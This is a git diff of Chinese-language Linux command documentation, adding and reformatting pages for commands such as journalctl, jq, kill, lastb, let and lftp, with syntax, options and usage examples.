+ --setup-keys # 生成新的 FSS 密钥对
+ --verify # 验证日志文件的一致性
+```
+
+### 实例
+
+**过滤输出**
+
+`journalctl` 可以根据特定字段过滤输出。如果过滤的字段比较多,需要较长时间才能显示出来。
+
+示例:
+
+显示本次启动后的所有日志:
+
+```shell
+journalctl -b
+```
+
+不过,一般大家更关心的不是本次启动后的日志,而是上次启动时的(例如,刚刚系统崩溃了)。可以使用 -b 参数:
+
+- `journalctl -b -0` 显示本次启动的信息
+- `journalctl -b -1` 显示上次启动的信息
+- `journalctl -b -2` 显示上上次启动的信息 `journalctl -b -2`
+
+只显示错误、冲突和重要告警信息
+
+```shell
+journalctl -p err..alert
+```
+
+也可以使用数字, `journalctl -p 3..1`。如果使用单个 number/keyword,则 `journalctl -p 3` - 还包括所有更高的优先级。
+
+显示从某个日期 ( 或时间 ) 开始的消息:
+
+```shell
+journalctl --since="2012-10-30 18:17:16"
+```
+
+显示从某个时间 ( 例如 20分钟前 ) 的消息:
+
+```shell
+journalctl --since "20 min ago"
+```
+
+显示最新信息
+
+```shell
+journalctl -f
+```
+
+显示特定程序的所有消息:
+
+```shell
+journalctl /usr/lib/systemd/systemd
+```
+
+显示特定进程的所有消息:
+
+```shell
+journalctl _PID=1
+```
+
+显示指定单元的所有消息:
+
+```shell
+journalctl -u man-db.service
+```
+
+显示内核环缓存消息r:
+
+```shell
+journalctl -k
+```
+
+**手动清理日志**
+
+`/var/log/journal` 存放着日志, `rm` 应该能工作. 或者使用 `journalctl`,
+
+例如:
+
+清理日志使总大小小于 100M:
+
+```shell
+journalctl --vacuum-size=100M
+```
+
+清理最早两周前的日志.
+
+```shell
+journalctl --vacuum-time=2weeks
+```
diff --git a/command/jq.md b/command/jq.md
new file mode 100644
index 00000000000..3a897c26d0e
--- /dev/null
+++ b/command/jq.md
@@ -0,0 +1,190 @@
+jq
+===
+
+一个灵活的轻量级命令行JSON处理器
+
+### 补充说明
+
+jq 是 stedolan 开发的一个轻量级的和灵活的命令行JSON处理器,源码请参考 [jq 项目主页](https://github.com/stedolan/jq)
+
+jq 用于处理JSON输入,将给定过滤器应用于其JSON文本输入并在标准输出上将过滤器的结果生成为JSON。
+
+最简单的过滤器是`.`,它将jq的输入未经修改地复制到其输出中(格式设置除外)。
+
+请注意,jq 当前仅支持64位双精度浮点数(IEEE754)。
+
+
+### 安装
+
+```bash
+# Debian系,如 Ubuntu
+sudo apt-get install jq
+
+# RedHat系, 如 CentOS
+yum install jq
+```
+
+### 语法
+
+```bash
+jq [options] [file...]
+jq [options] --args [strings...]
+jq [options] --jsonargs [JSON_TEXTS...]
+```
+
+### 选项
+
+```bash
+-c 紧凑而不是漂亮的输出;
+-n 使用`null`作为单个输入值;
+-e 根据输出设置退出状态代码;
+-s 将所有输入读取(吸取)到数组中;应用过滤器;
+-r 输出原始字符串,而不是JSON文本;
+-R 读取原始字符串,而不是JSON文本;
+-C 为JSON着色;
+-M 单色(不要为JSON着色);
+-S 在输出上排序对象的键;
+--tab 使用制表符进行缩进;
+--arg a v 将变量$a设置为value;
+--argjson a v 将变量$a设置为JSON value;
+--slurpfile a f 将变量$a设置为从读取的JSON文本数组;
+--rawfile a f 将变量$a设置为包含内容的字符串;
+--args 其余参数是字符串参数,而不是文件;
+--jsonargs 其余的参数是JSON参数,而不是文件;
+-- 终止参数处理;
+```
+
+### 例子
+
+`.`: 以漂亮的方式输出
+
+```bash
+$ echo '{ "foo": { "bar": { "baz": 123 } } }' | jq '.'
+{
+ "foo": {
+ "bar": {
+ "baz": 123
+ }
+ }
+}
+
+```
+
+`.foo, .foo.bar, .foo?`: 获取一个键的值
+
+```bash
+$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo'
+42
+```
+
+`.[], .[]?, .[2], .[10:15]`: 数组运算
+
+```bash
+$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]'
+{
+ "name": "XML",
+ "good": false
+}
+
+```
+
+`[], {}`: 构造一个数组/对象
+
+```bash
+$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}'
+
+{
+ "user": "stedolan",
+ "title": "JQ Primer"
+}
+{
+ "user": "stedolan",
+ "title": "More JQ"
+}
+
+```
+
+`length`: 计算一个值的长度
+
+```bash
+$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length'
+2
+6
+1
+0
+
+```
+
+`keys`: 取出数组中的键
+
+```bash
+$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys'
+[
+ "Foo",
+ "abc",
+ "abcd"
+]
+
+```
+
+`,`: 使用多个过滤器
+
+```bash
+$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar'
+42
+"something else"
+
+```
+
+`|`: 通过管道将一个过滤器的输出当做下一个过滤器的输入
+
+```bash
+$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name'
+"JSON"
+"XML"
+
+```
+
+`select(foo)`: 如果foo返回true,则输入保持不变
+
+```bash
+$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))'
+[
+ 5,
+ 3,
+ 7
+]
+
+```
+
+`map(foo)`: 每个输入调用过滤器
+
+```bash
+$ echo '[1,2,3]' | jq 'map(.+1)'
+[
+ 2,
+ 3,
+ 4
+]
+
+```
+
+`if-then-else-end`: 条件判断
+
+```bash
+ $ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end'
+
+"many"
+
+```
+
+`\(foo)`: 在字符串中插入值并进行运算
+
+```bash
+$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"'
+
+"The input was 42, which is one less than 43"
+
+```
+
+
diff --git a/command/jwhois.md b/command/jwhois.md
index 241f3382e2b..98da794b931 100644
--- a/command/jwhois.md
+++ b/command/jwhois.md
@@ -1,21 +1,21 @@
jwhois
===
-
+
whois 客户端服务
## 补充说明
**jwhois** searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line.
-### 语法
+### 语法
-```
+```shell
jwhois [选项]
```
-### 选项
+### 选项
-```
+```shell
--version display version number and patch level
--help display this help
-v, --verbose verbose debug output
@@ -33,20 +33,20 @@ jwhois [选项]
> 注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢!
-### 实例
+### 实例
显示指定用户信息:
-```
-# jwhois root
+```shell
+ jwhois root
-//查找root用户信息
+# 查找root用户信息
```
查询域名信息:
-```
-[root@localhost ~]# jwhois linuxde.net
+```shell
+[root@localhost ~] jwhois linuxde.net
[Querying whois.verisign-grs.com]
[Redirected to whois.west263.com]
[Querying whois.west263.com]
@@ -59,4 +59,3 @@ Registrar WHOIS Server: whois.west263.com
```
-
\ No newline at end of file
diff --git a/command/kernelversion.md b/command/kernelversion.md
index 374179f62a1..2e5fc0b4dae 100644
--- a/command/kernelversion.md
+++ b/command/kernelversion.md
@@ -1,17 +1,16 @@
kernelversion
===
-
+
打印当前内核的主版本号
## 补充说明
**kernelversion命令** 用于打印当前内核的主版本号。
-### 语法
+### 语法
-```
+```shell
kernelversion
```
-
\ No newline at end of file
diff --git a/command/kexec.md b/command/kexec.md
index 95ca14cf006..af69115698b 100644
--- a/command/kexec.md
+++ b/command/kexec.md
@@ -1,6 +1,6 @@
kexec
===
-
+
从当前正在运行的内核引导到一个新内核
## 补充说明
@@ -9,15 +9,15 @@ kexec
**kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。
-### 语法
+### 语法
-```
+```shell
kexec(选项)
```
-### 选项
+### 选项
-```
+```shell
-l:指定内核映像文件;
-e:允许当前被加载的内核;
-f:强制立即调用系统调用“kexec”,而不调用“shutdown”;
@@ -26,4 +26,3 @@ kexec(选项)
```
-
\ No newline at end of file
diff --git a/command/kill.md b/command/kill.md
index cf4a80e969a..f542d66586b 100644
--- a/command/kill.md
+++ b/command/kill.md
@@ -1,39 +1,54 @@
kill
===
-删除执行中的程序或工作
+发送信号到进程。
-## 补充说明
+## 目录
-**kill命令** 用来删除执行中的程序或工作。kill可将指定的信息送至程序。预设的信息为SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或job指令查看。
+- [bash内建命令](#内建命令)
+- [GNU coreutils中的命令](#外部命令)
-### 语法
+## 内建命令
+### 概要
+
+```shell
+kill [-s sigspec | -n signum | -sigspec] pid | jobspec ...
+kill -l [sigspec]
```
-kill(选项)(参数)
-xkill # 图形化关闭程序
-```
+
+### 主要用途
+
+- 发送信号到作业或进程(可以为多个)。
+- 列出信号。
### 选项
-```
--a:当处理当前进程时,不限制命令名和进程号的对应关系;
--l <信息编号>:若不加<信息编号>选项,则-l参数会列出全部的信息名称;
--p:指定kill 命令只打印相关进程的进程号,而不发送任何信号;
--s <信息名称或编号>:指定要送出的信息;
--u:指定用户。
+```shell
+-s sig 信号名称。
+-n sig 信号名称对应的数字。
+-l 列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。
+-L 等价于-l选项。
```
### 参数
-进程或作业识别号:指定要删除的进程或作业。
+pid:进程ID
-### 实例
+jobspec:作业标识符
-列出所有信号名称:
+### 返回值
-```
- kill -l
+返回状态为成功除非给出了非法选项、执行出现错误。
+
+### 例子
+
+```shell
+[user2@pc] kill -l 9
+KILL
+
+# 列出所有信号名称:
+[user2@pc] kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
@@ -50,31 +65,127 @@ xkill # 图形化关闭程序
55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6
59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
-```
-只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略, **下面是常用的信号:**
+# 下面是常用的信号。
+# 只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略。
-```
-HUP 1 终端断线
+HUP 1 终端挂断
INT 2 中断(同 Ctrl + C)
QUIT 3 退出(同 Ctrl + \)
-TERM 15 终止
KILL 9 强制终止
-CONT 18 继续(与STOP相反, fg/bg命令)
+TERM 15 终止
+CONT 18 继续(与STOP相反,fg/bg命令)
STOP 19 暂停(同 Ctrl + Z)
```
-先用ps查找进程,然后用kill杀掉:
+```shell
+# 以下发送KILL信号的形式等价。当然还有更多的等价形式,在此不一一列举了。
+[user2@pc] kill -s SIGKILL PID
+[user2@pc] kill -s KILL PID
+[user2@pc] kill -n 9 PID
+[user2@pc] kill -9 PID
+
+[user2@pc] sleep 90 &
+[1] 178420
+
+# 终止作业标识符为1的作业。
+[user2@pc] kill -9 %1
+
+[user2@pc] jobs -l
+[1]+ 178420 KILLED ssh 192.168.1.4
+
+[user2@pc] sleep 90 &
+[1] 181357
+
+# 发送停止信号。
+[user2@pc] kill -s STOP 181357
+
+[user2@pc] jobs -l
+[1]+ 181537 Stopped (signal) sleep 90
+
+# 发送继续信号。
+[user2@pc] kill -s CONT 181357
+
+[user2@pc] jobs -l
+[1]+ 181537 Running sleep 90 &
+```
+
+### 注意
+
+1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
+2. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+## 外部命令
+
+### 概要
+
+```shell
+kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name...
+kill -l [number] | -L
+```
+
+### 主要用途
+- 发送信号到进程(可以为多个)。
+
+- 列出信号。
+
+### 选项
+
+```shell
+-s, --signal signal 要发送的信号,可能是信号名称或信号对应的数字。
+-l, --list [number] 打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。
+-L, --table 和'-l'选项类似,但是输出信号名称以及信号对应的数字。
+-a, --all 不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。
+-p, --pid 打印目标进程的PID而不发送信号。
+--verbose 打印信号以及接收信号的PID。
+-q, --queue value 使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。
+ 如果接收进程已为此信号安装了处理程序将SA_SIGINFO标记为sigaction(2),则可以获取
+ 该数据通过siginfo_t结构的si_sigval字段。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
-ps -ef | grep vim
-root 3268 2884 0 16:21 pts/1 00:00:00 vim install.log
-root 3370 2822 0 16:21 pts/0 00:00:00 grep vim
-kill 3268
-kill 3268
--bash: kill: (3268) - 没有那个进程
+### 参数
+
+接收信号的进程列表可以是PID以及name的混合组成。
+
+PID:每一个PID可以是以下四种情况之一:
+
+状态|说明
+:--:|:--:
+n | 当n大于0时,PID为n的进程接收信号。
+0 | 当前进程组中的所有进程均接收信号。
+-1 | PID大于1的所有进程均接收信号。
+-n | 当n大于1时,进程组n中的所有进程接收信号。当给出了一个参数的形式为“-n”,想要让它表示一个进程组,那么必须首先指定一个信号,或参数前必须有一个“--”选项,否则它将被视为发送的信号。
+
+name:使用此名称调用的所有进程将接收信号。
+
+### 例子
+
+```shell
+> sleep 20 &
+
+# 列出对应的PID。
+> kill -p sleep
+23021
```
+### 返回值
+
+- 0 成功。
+- 1 失败。
+- 64 部分成功(当指定了多个进程时)。
+
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。
+2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。
+3. 与`kill`命令类似的有`xkill`,`pkill`,`killall`等,用于不同的目的和场景。
+
+## 参考链接
+
+[发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes)
+
-
\ No newline at end of file
diff --git a/command/killall.md b/command/killall.md
index b1510642f3b..865f9b27d30 100644
--- a/command/killall.md
+++ b/command/killall.md
@@ -1,21 +1,21 @@
killall
===
-
+
使用进程的名称来杀死一组进程
## 补充说明
**killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。
-### 语法
+### 语法
-```
+```shell
killall(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-e:对长名称进行精确匹配;
-l:忽略大小写的不同;
-p:杀死进程所属的进程组;
@@ -27,17 +27,20 @@ killall(选项)(参数)
-u:杀死指定用户的进程。
```
-### 参数
+### 参数
进程名称:指定要杀死的进程名称。
-### 实例
+### 实例
-杀死所有同名进程
-
-```
+```shell
+# 杀死所有同名进程
killall vi
+# 指定向进程发送的信号
+killall -9 vi
+# 0信号表示不向进程发送信号, 可通过返回值判断进程是否存在, 0(存在)1(不存在)
+killall -0 vi
+echo $?
```
-
\ No newline at end of file
diff --git a/command/last.md b/command/last.md
index 96e3a9e6efc..1df770e0d04 100644
--- a/command/last.md
+++ b/command/last.md
@@ -1,21 +1,21 @@
last
===
-
+
列出目前与过去登入系统的用户相关信息
## 补充说明
**last命令** 用于显示用户最近登录信息。单独执行last命令,它会读取`/var/log/wtmp`的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。
-### 语法
+### 语法
-```
+```shell
last(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:把从何处登入系统的主机名称或ip地址,显示在最后一行;
-d:将IP地址转换成主机名称;
-f <记录文件>:指定记录文件。
@@ -24,16 +24,16 @@ last(选项)(参数)
-x:显示系统关机,重新开机,以及执行等级的改变等信息。
```
-### 参数
+### 参数
* 用户名:显示用户登录列表;
* 终端:显示从指定终端的登录列表。
-### 实例
+### 实例
last命令用了显示用户登录情况,以下是直接显示固定行数的记录:
-```
+```shell
last -10
root pts/0 221.6.45.34 Tue Dec 17 09:40 still logged in
root pts/0 221.6.45.34 Mon Dec 16 09:00 - 11:57 (02:56)
@@ -48,4 +48,3 @@ root pts/0 221.6.45.34 Mon Dec 9 09:38 - 11:41 (02:02)
```
-
\ No newline at end of file
diff --git a/command/lastb.md b/command/lastb.md
index ab2b961e0af..04a47dcfb81 100644
--- a/command/lastb.md
+++ b/command/lastb.md
@@ -1,21 +1,21 @@
lastb
===
-
+
列出登入系统失败的用户相关信息
## 补充说明
**lastb命令** 用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于`/var/log`目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。
-### 语法
+### 语法
-```
+```shell
lastb(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:把从何处登入系统的主机名称或ip地址显示在最后一行;
-d:将IP地址转换成主机名称;
-f<记录文件>:指定记录文件;
@@ -24,29 +24,29 @@ lastb(选项)(参数)
-x:显示系统关机,重新开机,以及执行等级的改变等信息。
```
-### 参数
+### 参数
* 用户名:显示中的用户的登录列表;
* 终端:显示从指定终端的登录列表。
-### 实例
+### 实例
首次运行lastb命令会报下的错误:
-```
+```shell
lastb: /var/log/btmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging lastb info.
```
只需建立这个不存在的文件即可。
-```
+```shell
touch /var/log/btmp
```
使用ssh的登录失败不会记录在btmp文件中。
-```
+```shell
lastb | head
root ssh:notty 110.84.129.3 Tue Dec 17 06:19 - 06:19 (00:00)
root ssh:notty 110.84.129.3 Tue Dec 17 04:05 - 04:05 (00:00)
@@ -61,4 +61,3 @@ admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00)
```
-
\ No newline at end of file
diff --git a/command/lastlog.md b/command/lastlog.md
index a0ff06e90f8..f871c86f823 100644
--- a/command/lastlog.md
+++ b/command/lastlog.md
@@ -1,6 +1,6 @@
lastlog
===
-
+
显示系统中所有用户最近一次登录信息
## 补充说明
@@ -9,24 +9,24 @@ lastlog
lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令。
-### 语法
+### 语法
-```
+```shell
lastlog(选项)
```
-### 选项
+### 选项
-```
+```shell
-b<天数>:显示指定天数前的登录信息;
-h:显示召集令的帮助信息;
-t<天数>:显示指定天数以来的登录信息;
-u<用户名>:显示指定用户的最近登录信息。
```
-### 实例
+### 实例
-```
+```shell
lastlog
Username Port From Latest
root pts/0 221.6.45.34 Tue Dec 17 09:40:48 +0800 2013
@@ -56,4 +56,3 @@ mysql **Never logged in**
```
-
\ No newline at end of file
diff --git a/command/ld.md b/command/ld.md
index eceefaf7353..47146bd236e 100644
--- a/command/ld.md
+++ b/command/ld.md
@@ -7,32 +7,32 @@ ld
**ld命令** 是GNU的连接器,将目标文件连接为可执行程序。
-### 语法
+### 语法
-```
+```shell
ld(选项)(参数)
ld [options] objfile ...
```
-### 选项
+### 选项
-```
+```shell
-o:指定输出文件名;
-e:指定程序的入口符号。
```
-### 参数
+### 参数
目标文件:指定需要连接的目标文件。
### 实例
-这告诉ld通过将文件“/lib/crt0.o”与“hello.o”和库“libc.a”链接起来,生成一个名为output的文件,该文件将来自标准搜索目录。
+这告诉ld通过将文件 `/lib/crt0.o` 与 `hello.o` 和库 `libc.a` 链接起来,生成一个名为 `output` 的文件,该文件将来自标准搜索目录。
-```bash
+```shell
ld -o /lib/crt0.o hello.o -lc
ld -o output /lib/crt0.o hello.o -lc
```
-
+
diff --git a/command/ldconfig.md b/command/ldconfig.md
index c9b75b75a8f..2774cab8572 100644
--- a/command/ldconfig.md
+++ b/command/ldconfig.md
@@ -1,6 +1,6 @@
ldconfig
===
-
+
动态链接库管理命令
## 补充说明
@@ -9,15 +9,15 @@ ldconfig
ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。
-### 语法
+### 语法
-```
+```shell
ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path...
```
-### 选项
+### 选项
-```
+```shell
-v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。
-n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。
-N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。
@@ -43,4 +43,3 @@ ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|-
7. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。
-
\ No newline at end of file
diff --git a/command/ldd.md b/command/ldd.md
index 5705ed02ccc..f52a89cb3dd 100644
--- a/command/ldd.md
+++ b/command/ldd.md
@@ -1,21 +1,21 @@
ldd
===
-
+
打印程序或者库文件所依赖的共享库列表
## 补充说明
**ldd命令** 用于打印程序或者库文件所依赖的共享库列表。
-### 语法
+### 语法
-```
+```shell
ldd(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--version:打印指令版本号;
-v:详细信息模式,打印所有相关信息;
-u:打印未使用的直接依赖;
@@ -24,17 +24,17 @@ ldd(选项)(参数)
--help:显示帮助信息。
```
-### 参数
+### 参数
文件:指定可执行程序或者文库。
-### 其他介绍
+### 其他介绍
首先ldd不是一个可执行程序,而只是一个shell脚本
ldd能够显示可执行模块的dependency,其原理是通过设置一系列的环境变量,如下:`LD_TRACE_LOADED_OBJECTS、LD_WARN、LD_BIND_NOW、LD_LIBRARY_VERSION、LD_VERBOSE`等。当`LD_TRACE_LOADED_OBJECTS`环境变量不为空时,任何可执行程序在运行时,它都会只显示模块的dependency,而程序并不真正执行。要不你可以在shell终端测试一下,如下:
-```
+```shell
export LD_TRACE_LOADED_OBJECTS=1
```
@@ -45,4 +45,3 @@ ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linu
实际上可以直接执行ld-linux.so模块,如:`/lib/ld-linux.so.2 --list program`(这相当于ldd program)
-
\ No newline at end of file
diff --git a/command/less.md b/command/less.md
index 494fefb353a..9dfc559bbe6 100644
--- a/command/less.md
+++ b/command/less.md
@@ -7,15 +7,15 @@ less
**less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。
-### 语法
+### 语法
-```
+```shell
less(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-e:文件内容显示完毕后,自动退出;
-f:强制显示文件;
-g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度;
@@ -24,16 +24,34 @@ less(选项)(参数)
-s:将连续多个空行压缩成一行显示;
-S:在单行显示较长的内容,而不换行显示;
-x<数字>:将TAB字符显示为指定个数的空格字符。
+-r:能够显示设置的颜色。
```
-### 参数
+### 参数
文件:指定要分屏显示内容的文件。
## 实例
-```bash
+```shell
sudo less /var/log/shadowsocks.log
+
+/字符串:向下搜索"字符串"的功能
+?字符串:向上搜索"字符串"的功能
+n:继续向后搜索
+N:向前搜索
+b: 向后翻一页
+d: 向后翻半页
+u: 向前滚动半页
+y: 向前滚动一行
+Q: 退出less 命令
+空格键: 滚动一页
+回车键: 滚动一行
+[pagedown]: 向下翻动一页
+[pageup]: 向上翻动一页
+G: 移动到最后一行
+g: 移动到第一行
+
```
-
+
diff --git a/command/let.md b/command/let.md
index 989b71bc041..d592ec40370 100644
--- a/command/let.md
+++ b/command/let.md
@@ -1,37 +1,122 @@
let
===
-
-简单的计算器
-## 补充说明
+简单的计算器,执行算术表达式。
-**let命令** 是bash中用于计算的工具,提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1。
+## 概要
-### 语法
-
-```
-let arg [arg ...] #arg代表运算式
+```shell
+let arg [arg ...]
```
-### 用法
+## 主要用途
+
+- 执行一个或多个算术表达式。
+
+## 参数
+
+arg:算术表达式
+
+## 返回值
+
+当`let`最后一个执行的表达式的计算结果为0时返回`1`,否则返回`0`。
+当`let`执行的表达式的除数为0时,返回`1`并报错。
+
+## 运算符优先级递减表
+
+|**运算符**|**描述**|
+|:-------:|:-------:|
+|```id++, id--```|```变量后增量、变量后减量```|
+|```++id, --id```|```变量预增量、变量预减量```|
+|```-, +```|```正号、负号```|
+|```!, ~```|```逻辑否、按位取反```|
+|```**```|```幂运算```|
+|```*, /, %```|```乘法、除法、取余```|
+|```+, -```|```加法、减法```|
+|```<<, >>```|```按位左移、右移```|
+|```<=, >=, <, >```|```比较```|
+|```==, !=```|```等于、不等于```|
+|```&```|```按位与```|
+|```^```|```按位异或```|
+|```\|```|```按位或```|
+|```&&```|```逻辑与```|
+|```\|\|```|```逻辑或```|
+|```expr ? expr : expr```|```条件运算符(三元运算符)```|
+|```=, *=, /=, %=, +=, -=,``` ```<<=, >>=, &=, ^=, \|=```|```赋值```|
-自加操作`let no++`
-自减操作`let no--`
-简写形式`let no+=10`,`let no-=20`,分别等同于`let no=no+10,``let no=no-20`
-### 实例
+## 例子
+```shell
+# 尝试直接在终端中执行算术表达式(就像在python的IDLE)。
+3+4
+bash:3+4:command not found...
+# 换一种方式。
+3 + 4
+bash:3:command not found...
+# 看来不行。
```
-#!/bin/bash
-let a=5+4 b=9-3
-echo $a $b
+
+```shell
+# let命令赋值。
+let a=3**4
+echo ${a}
+# 显示81。
+# ((...))和let命令等效。
+((a=3**4))
```
+```shell
+# let常用于变量赋值,而外部命令expr可直接返回表达式的值。
+let 3+4
+# 没有显示7。
+# 执行后显示7,注意空格。
+expr 3 + 4
```
-#!/bin/bash
-let "t1 = ((a = 5 + 3, b = 7 - 1, c = 15 - 4))"
-echo "t1 = $t1, a = $a, b = $b"
+
+```shell
+# 条件表达式。
+if ((8>4)); then
+ echo '8 is greater than 4.'
+else
+ echo 'error'
+fi
+# 注意空格。
+if [[ 12 -le 10 ]]; then
+ echo 'error'
+else
+ echo '12 is greater than 10.'
+fi
```
+```shell
+# 可以通过declare命令设置整型属性的方法来进行算术运算。
+# local命令与此类似。
+
+# 没有指定整型属性,输出为字符串'a+b'。
+declare a=3 b=4 c
+c=a+b
+echo ${c}
+# 不过可以使用以下方式赋值。
+c=$((a+b))
+echo ${c}
+# 显示7
+
+# 设置了整型属性就可以直接加了。
+declare -i a=3 b=4 c
+c=a+b
+echo ${c}
+# 同上。
+declare -i a
+a=2*3
+echo ${a}
+# 显示6。
+```
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+2. 执行算术计算的命令除了`let`,还有外部命令`expr`、`bc`等。
+
-
\ No newline at end of file
diff --git a/command/lftp.md b/command/lftp.md
index 6a46f822f55..f2ce9c6d7cc 100644
--- a/command/lftp.md
+++ b/command/lftp.md
@@ -1,36 +1,36 @@
lftp
===
-
+
优秀的文件客户端程序
## 补充说明
**lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。
-### 语法
+### 语法
-```
+```shell
lftp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:指定lftp指令要执行的脚本文件;
-c:执行指定的命令后退出;
--help:显示帮助信息;
--version:显示指令的版本号。
```
-### 参数
+### 参数
站点:要访问的站点的ip地址或者域名。
-### 实例
+### 实例
**登录ftp**
-```
+```shell
lftp 用户名:密码@ftp地址:传送端口(默认21)
```
@@ -38,7 +38,7 @@ lftp 用户名:密码@ftp地址:传送端口(默认21)
**查看文件与改变目录**
-```
+```shell
ls
cd 对应ftp目录
```
@@ -47,7 +47,7 @@ cd 对应ftp目录
get当然是可以的,还可以:
-```
+```shell
mget -c *.pdf #把所有的pdf文件以允许断点续传的方式下载。
mirror aaa/ #将aaa目录整个的下载下来,子目录也会自动复制。
pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。
@@ -57,7 +57,7 @@ pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下
同样的put、mput都是对文件的操作,和下载类似。
-```
+```shell
mirror -R 本地目录名
```
@@ -65,19 +65,19 @@ mirror -R 本地目录名
**模式设置**
-```
+```shell
set ftp:charset gbk
```
远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可。
-```
+```shell
set file:charset utf8
```
本地的charset设定为utf8,如果你是gbk,相应改掉。
-```
+```shell
set ftp:passive-mode 1
```
@@ -87,13 +87,13 @@ set ftp:passive-mode 1
其实命令行也可以有书签,在lftp终端提示符下:
-```
+```shell
bookmark add ustc
```
就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接`lftp ustc`就可以自动填好用户名和密码,进入对应的目录了。
-```
+```shell
bookmark edit
```
@@ -101,13 +101,13 @@ bookmark edit
**配置文件**
-```
+```shell
vim /etc/lftp.conf
```
一般,我会添加这几行:
-```
+```shell
set ftp:charset gbk
set file:charset utf8
